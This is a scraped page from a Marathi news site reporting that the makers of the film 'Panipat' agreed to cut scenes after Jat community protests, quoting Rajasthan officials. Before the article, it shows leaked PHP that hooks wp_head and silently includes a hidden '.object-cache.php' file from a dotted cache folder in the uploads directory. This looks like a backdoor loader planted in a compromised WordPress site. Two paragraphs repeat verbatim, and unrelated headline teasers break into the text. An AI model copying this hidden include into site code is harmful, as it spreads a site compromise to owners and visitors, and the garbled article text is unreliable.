add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); ‘पानिपत’ सिनेमावर चालणार कैची, वादानंतर निर्मात्यांनी घेतली माघार – SOCH INDIA
Menu

देश
‘पानिपत’ सिनेमावर चालणार कैची, वादानंतर निर्मात्यांनी घेतली माघार

nobanner

नुकताच प्रदर्शित झालेल्या पानिपत सिनेमाला जाट समुदायाकडून सतत विरोध दर्शवला जात आहे. अखेर सिनेमाच्या निर्मात्यांनी काही सीनवर कात्री मारण्याचा निर्णय घेतला आहे. अतिरिक्त मुख्य सचिव (गृह) राजीव स्वरुप यांनी याबद्दल सविस्तर माहिती दिली.

राजीव म्हणाले की, ‘निर्मात्यांनी सिनेमातील काही भाग काढून टाकण्याचा निर्णय घेतल्याचं वितरकांनी आम्हाला सांगितलं. आक्षेपार्ह सीन वगळल्यानंतर सिनेमा पुन्हा एकदा सेन्सॉर बोर्डाला दाखवण्यात येणार आहे.’

भरतपुरचे तत्कालीन महाराज सूरजमल यांची व्यक्तिरेखा चुकीच्या पद्धतीने दाखवली म्हणून जाट समूदायाने सिनेमाचा कडाडून विरोध केला. समुदायाच्या नेत्यांनी सोमवारी सरकारला निवेदन पाठवलं होतं. यावर सरकारने वितरकांच्या मध्यस्तीने सिनेमाच्या निर्मात्यांकडे उत्तरही मागितलं होतं. विशेष म्हणजे विरोध म्हणून राज्याच्या अनेक सिनेमाघरातून हा सिनेमा प्रदर्शनापूर्वीच हटवण्यात आला होता.
कार्तिकच्या चॅलेंजमुळे पडता पडता वाचली सारा

दरम्यान, राजस्थानमधील अनेक चित्रपटगृहांमध्ये तोडफोडही करण्यात आली शिवाय चित्रपटाचे पोस्टरदेखील फाडण्यात आले. त्यामुळे राजस्थानमधील परिस्थिती अधिक चिघळण्याच्या आत या प्रकरणात सेन्सॉर बोर्डानं हस्तक्षेप करत योग्य ती पाऊलं उचलावीत अशी मागणी मुख्यमंत्री अशोक गेहलोत यांनी केली होती.
‘विरुष्का’चे फोटो पाहून तुम्हीही पडाल प्रेमात

यासंदर्भात त्यांनी ट्विटरच्या माध्यमातून आपल्या भावना व्यक्त केल्या होत्या. ‘सिनेमात महाराजा सूरजमलजींचं चित्रण ज्या पद्धतीनं करण्यात आलंय आणि त्यामुळे जो वाद निर्माण झालाय तो व्हायला नको होता. त्यामुळे सेन्सॉर बोर्डाने या परिस्थितीची दखल घेत यात हस्तक्षेप करायला पाहिजे. सिनेमाच्या वितरकांनी जाट समुदायाशी तातडीने चर्चा केली पाहिजे.’

दरम्यान, राजस्थानमधील अनेक चित्रपटगृहांमध्ये तोडफोडही करण्यात आली शिवाय चित्रपटाचे पोस्टरदेखील फाडण्यात आले. त्यामुळे राजस्थानमधील परिस्थिती अधिक चिघळण्याच्या आत या प्रकरणात सेन्सॉर बोर्डानं हस्तक्षेप करत योग्य ती पाऊलं उचलावीत अशी मागणी मुख्यमंत्री अशोक गेहलोत यांनी केली होती.
‘विरुष्का’चे फोटो पाहून तुम्हीही पडाल प्रेमात

यासंदर्भात त्यांनी ट्विटरच्या माध्यमातून आपल्या भावना व्यक्त केल्या होत्या. ‘सिनेमात महाराजा सूरजमलजींचं चित्रण ज्या पद्धतीनं करण्यात आलंय आणि त्यामुळे जो वाद निर्माण झालाय तो व्हायला नको होता. त्यामुळे सेन्सॉर बोर्डाने या परिस्थितीची दखल घेत यात हस्तक्षेप करायला पाहिजे. सिनेमाच्या वितरकांनी जाट समुदायाशी तातडीने चर्चा केली पाहिजे.’